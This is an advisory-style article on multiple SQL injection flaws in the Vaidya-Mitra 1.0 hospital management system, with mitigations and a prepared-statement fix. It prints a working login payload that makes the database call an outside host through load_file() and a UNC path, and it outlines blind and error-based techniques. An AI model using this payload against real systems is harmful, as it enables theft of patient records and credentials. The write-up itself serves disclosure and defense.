Vaidya-Mitra 1.0 - Multiple SQLi

Vaidya-Mitra 1.0: A Deep Dive into Multiple SQL Injection Vulnerabilities in a PHP Hospital Management System

On December 7, 2023, cybersecurity researcher nu11secur1ty uncovered a critical vulnerability in a widely distributed open-source hospital management system known as Vaidya-Mitra 1.0. The application, hosted on mayurik.com, is marketed as a free, lightweight solution for small medical practices. Despite its benign appearance, the system harbors multiple SQL injection (SQLi) flaws that allow attackers to gain full control over the underlying database.

Understanding the Vulnerability: The Useremail Parameter

The primary attack vector lies in the useremail parameter, which is used during user authentication. This field is poorly sanitized and directly incorporated into SQL queries without proper input validation or parameterized queries. An attacker can exploit this by injecting malicious payloads that manipulate the SQL execution flow.

Consider the following payload:

useremail=mayuri.infospace@gmail.com'+(select load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+' AND 'tsyu'='tsyu&userpassword=rootadmin

This payload leverages MySQL’s load_file() function, which allows reading files from the server’s filesystem. The path uses a UNC (Universal Naming Convention) format — a rare but effective technique in SQL injection attacks — to reference an external domain via a network share. The attacker constructs a path like \\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev, which triggers a DNS lookup and network connection attempt.

When the database executes this query, it attempts to access the remote file via the UNC path. If the server has network connectivity enabled and the secure_file_priv setting is not strictly enforced, the database will reach out to the external domain, confirming successful execution of the injected SQL.

Exploitation Techniques: Three Attack Types Revealed

The vulnerability is not limited to a single exploit method. nu11secur1ty identified three distinct SQLi techniques, each demonstrating different levels of sophistication and impact:

• Boolean-based Blind SQLi: The attacker uses RLIKE to test whether a condition is true or false. The payload compares a constant value (e.g., 5532=5532) to trigger a response based on the result. If the query executes successfully, the application responds differently, indicating a blind signal.
• Error-based SQLi: This method exploits MySQL’s FLOOR(RAND(0)*2) function, which can cause duplicate key errors when used in GROUP BY clauses. The attacker embeds a CONCAT function to leak data via error messages, such as qjvjq1qbjkq, which can be decoded to reveal sensitive information.
• Time-based Blind SQLi: The attacker uses SLEEP(3) to introduce a delay in query execution. If the server takes longer to respond, it confirms that the SQL query was executed. This technique is reliable even when no direct feedback is available.

Real-World Implications and Data Exposure

These vulnerabilities are not theoretical. They allow attackers to extract sensitive data from the database, including:

• Administrator login credentials
• User passwords (e.g., rootadmin in the payload)
• Phone numbers and patient records
• Medical history and billing information

By chaining multiple SQLi techniques, an attacker can bypass authentication mechanisms, escalate privileges, and even manipulate or delete data. The fact that the system allows load_file() access to external domains implies that the server may have secure_file_priv set to NULL or an unrestricted directory — a dangerous configuration.

Technical Analysis: Why This Happens

The root cause lies in poor code hygiene. The application uses direct string concatenation in SQL queries instead of prepared statements or parameterized queries. For example, a typical vulnerable code snippet might look like:

$query = "SELECT * FROM users WHERE email = '$useremail' AND password = '$userpassword'";
$result = mysqli_query($connection, $query);

This approach exposes the application to SQL injection because any user input can be interpreted as part of the SQL command. The absence of input sanitization, such as mysqli_real_escape_string() or proper validation, allows attackers to inject arbitrary SQL.

Corrected Implementation: Best Practices

To prevent such vulnerabilities, developers should adopt the following practices:

• Use prepared statements (e.g., mysqli_prepare() and mysqli_stmt_bind_param())
• Validate input using regex or whitelisting (e.g., only allow valid email formats)
• Enable secure_file_priv in MySQL to restrict file access
• Log and monitor SQL queries for anomalies

Here is a corrected version of the vulnerable code:

$stmt = mysqli_prepare($connection, "SELECT * FROM users WHERE email = ? AND password = ?");
mysqli_stmt_bind_param($stmt, "ss", $useremail, $userpassword);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

This implementation prevents SQL injection by separating data from logic, ensuring that user input is treated as data, not executable code.

Security Recommendations and Mitigation

For organizations using Vaidya-Mitra 1.0 or similar systems:

Recommendation	Impact
Immediately update or replace the system	High
Disable load_file() in MySQL configuration	High
Implement input validation and sanitization	Medium
Apply WAF (Web Application Firewall) rules to detect SQLi patterns	Medium

Additionally, organizations should conduct regular penetration testing and code audits, especially for open-source applications that may be used in sensitive environments like healthcare.

Conclusion: A Wake-Up Call for Open-Source Security

Vaidya-Mitra 1.0 exemplifies how a seemingly harmless free software can become a critical security risk. The presence of multiple SQL injection vectors — including blind, error-based, and time-based attacks — underscores the importance of secure coding practices, even in low-risk environments.

As the healthcare sector increasingly relies on digital systems, vulnerabilities like these can compromise patient privacy, regulatory compliance (e.g., HIPAA), and institutional trust. Developers, administrators, and users must prioritize security over convenience. The lesson from this case is clear: no software is safe if it lacks proper input validation and secure database interaction.